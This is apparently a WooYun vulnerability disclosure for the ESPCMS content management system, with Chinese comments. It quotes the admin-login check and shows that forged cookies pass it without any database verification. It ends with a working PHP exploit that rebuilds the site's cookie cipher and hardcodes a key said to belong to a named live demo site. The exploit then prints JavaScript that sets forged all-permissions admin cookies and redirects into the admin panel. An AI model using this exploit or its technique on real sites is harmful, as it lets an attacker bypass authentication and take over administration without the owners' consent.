WooYun.org

<?php
//adminsoft/management.php
class important extends connector {
	function important() {
		$this->softbase(true);	//构造函数调用了父类中的softbase函数，softbase函数又调用了admin_purview函数来验证登录状态
	}
---
//父类 connector中的softbase函数
// public/class_connector.php
class connector {
	function softbase($admin_purview = false) {
		header("Content-Type: text/html; charset=utf-8");
		$this->dbmysql();
		$this->commandinc();
		$this->systemfile();
		$this->cachedb();
		if ($admin_purview) {
			$this->admin_purview();		//这里会验证管理员是否已经登录
			$this->sitelng = $this->getlng();
			$action = $this->fun->accept('action', 'R');	
			if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {
				exit('Permissions errors');		//$this->esp_powerlist权限列表 这里设置成all就ok了
			}
		}
.....
// public/class_connector.php
	function admin_purview() {
		if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {
			$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');
			$esp_powerlist = $this->fun->accept('esp_powerlist', 'G');
			$gettype = false;
		} else {
			$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
			$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
			$gettype = true;		//上面的两个数据可以从 cookie 和get的参数中获取 
									//我们还是直接从cookie入手吧，一是隐蔽啊，来无影去无踪，二是能保存参数值
									//$esp_powerlist 是权限列表 我们让这里 解码后是 all 也就是拥有所有权限的管理员
									//$ecisp_admininfo保存着管理员的一些信息
		}
		
		//下面的db_pscode 我们已经能够控制了，$ecisp_admininfo我们可以自己构造，进一步控制 $arr_purview 和 $this->esp_powerlist
		$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
		$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
		// "1|c4rp3nt3r|12345678901234567890123456789012|md5('Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101') |1|management|".ms5('http://scan.hackme.info/espcms/adminsoft/');
		list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;
		if ($gettype) {
			//cookie提交的参数 程序就进到这里 只要满足下面的条件 使 $condition = 1; 那么就通过了管理员验证
			//这里的问题是所有数据没有再一次进入到数据库验证(如果验证的话估计会产生SQL注入：)
			//我们构造 $this->esp_username = 'c4rp3nt3r'; $this->esp_adminuserid = '1';$this->esp_softurl是后台地址已知的
			if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
				$condition = 0;
			} else {
				$condition = 1;
			}
		} else {
		
			
			if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
				$condition = 0;
			} else {
				$condition = 1;
			}
		}
		if ($condition == 0) {
			if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
				header('location: index.php?archive=adminuser&action=login');
				exit();
			}
		} else {	//通过了管理员验证 :-)
			if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
				header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
				exit();
			}
		}
	}

<?php
// code by [email protected]
$admin_AGENT = $_SERVER['HTTP_USER_AGENT'];
//////////////////////////////////////////////////////////////////////
$admin_ClassURL = 'http://demo.ecisp.cn/adminsoft';
$key = "b229c152dsafsdafasfsadfasfdsfcbda220a9c5";	// http://demo.ecisp.cn 这个网站的 db_pscode (20130425)
//////////////////////////////////////////////////////////////////////
$powerlist = 'all';
$admininfo = '1|espcmsadmin|cccccccccccccccccccccccccccccccc|'.md5($admin_AGENT).'|1|1|'.md5($admin_ClassURL);
$esp_powerlist = eccode($powerlist ,'ENCODE', $key);
$ecisp_admininfo = eccode($admininfo, 'ENCODE', $key);
$exploit = '';
$exploit = "document.cookie='esp_powerlist=$esp_powerlist';\n";	
$exploit .= "document.cookie='ecisp_admininfo=$ecisp_admininfo';\n";
$exploit .= "//alert(document.cookie);\n";
$exploit .= "window.location.href='".$admin_ClassURL."/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'; \n";	
echo "<pre>".$exploit."</pre>";
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
		$result = '';
		//echo '^'.$key."^\n";
		if ($operation == 'ENCODE') {
			for ($i = 0; $i < strlen($string); $i++) {
				$char = substr($string, $i, 1);
				$keychar = substr($key, ($i % strlen($key)) - 1, 1);
				$char = chr(ord($char) + ord($keychar));
				$result.=$char;
			}
			$result = base64_encode($result);
			$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
		} elseif ($operation == 'DECODE') {
			$data = str_replace(array('-', '_'), array('+', '/'), $string);
			$mod4 = strlen($data) % 4;
			if ($mod4) {
				$data .= substr('====', $mod4);
			}
			$string = base64_decode($data);
			for ($i = 0; $i < strlen($string); $i++) {
				$char = substr($string, $i, 1);
				$keychar = substr($key, ($i % strlen($key)) - 1, 1);
				$char = chr(ord($char) - ord($keychar));
				$result.=$char;
			}
		}
		return $result;
	}